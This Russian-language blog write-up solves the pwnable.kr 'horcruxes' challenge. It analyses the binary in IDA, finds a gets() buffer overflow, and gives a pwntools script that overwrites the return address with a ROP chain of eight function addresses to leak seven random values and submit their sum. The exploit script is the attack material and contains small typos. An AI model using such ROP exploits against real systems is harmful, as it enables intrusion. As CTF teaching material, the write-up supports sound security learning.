Решение задания с pwnable.kr 21 — horcuxes. Возвратно-ориентированное программирование и ROP-цепочки

в 21:32, , рубрики: ctf, pwn, pwnable.kr, ralf_pwn, rop, информационная безопасность, Программирование
image

В данной статье решим 21-е задание с сайта pwnable.kr, направленное на составление ROP-цепочки.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Решение задания horcruxes

Не вижу смысла описывать что такое возвратно-ориентированное программирование, так как в этой статье все очень подробно описано.

Нажимаем на иконку с подписью horcruxes, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Есть файл readme, посмотрим, какое послание нам оставили.

image

Сообщают, что программа работает на порте 9032. Нам не дают исходный код, поэтому загрузим программу себе.

scp -P2222 horcruxes@pwnable.kr:horcruxes /root/

image

Запустим в IDA и декомпилируем ее. Есть три интересные функции: hint, init_ABCDEFG и ropme.

image

Судя по названию, функция hint должна содержать подсказку. Посмотрим ее.

image

Сказано, что нужно пройти 7 уровней. Что ж, давайте глянем на ropme.

image

Уже интересней. Программа считывает число и если оно равно определенному эталонному значению, то вызывается функция, которая выводит это значение. И так 7 значений.

image

Если совпадений небыло, то нас просят ввести строку, которая сравнится с переменной sum. Так, давайте глянем на init_ABCDEFG.

image

Здесь происходит инициализация эталонных значений, которве генерируются рандомно. А sum является суммой этих чисел.

С программой разобрались. В подсказке к заданию сказано про ROP. Идея следующая, нам нужно вызвать все 7 функций, чтобы знать эталонные значения, а потом еще раз вызвать ropme, чтобы передать сумму этих значений.

Благодаря функции gets мы можем перезапись адрес возврата цепочкой адресов. Вычислим количество байт до адреса возврата.

image

Таким образом нам нужно передать программе нужно передать 0x78 байт заглушки, а потом подряд 8 адресов функций. В IDA найдем адреса наших функций.

image

А теперь напишем эксплоит.

rom pwn import *

payload = "A" * 0x78
payload += p32(0x0809fe4b)
payload += p32(0x0809fe6a)
payload += p32(0x0809fe89)
payload += p32(0x0809fea8)
payload += p32(0x0809fec7)
payload += p32(0x0809fee6)
payload += p32(0x0809ff05)
payload += p32(0x0809fffc)

con = remote("pwnable.kr", 9032)

con.recv()
con.recv()

con.send("123" + "n")

con.recv()

con.send(payload + "n")

con.recv()
ans = con.recv().split('n')

sum_result = 0
for i in range(1,8):
	sum_result += int(ans[i].split('+')[1].split(')')[0])

con.send("123" + "n")
con.send(str(sum_result) + "n")

image

Получаем искомый флаг и завершаем первую часть заданий на pwnable.kr.

image

Вы можете присоединиться к нам в Telegram. В следующий раз разберемся с переполнением кучи.

Автор: RalfHacker

Источник


* - обязательные к заполнению поля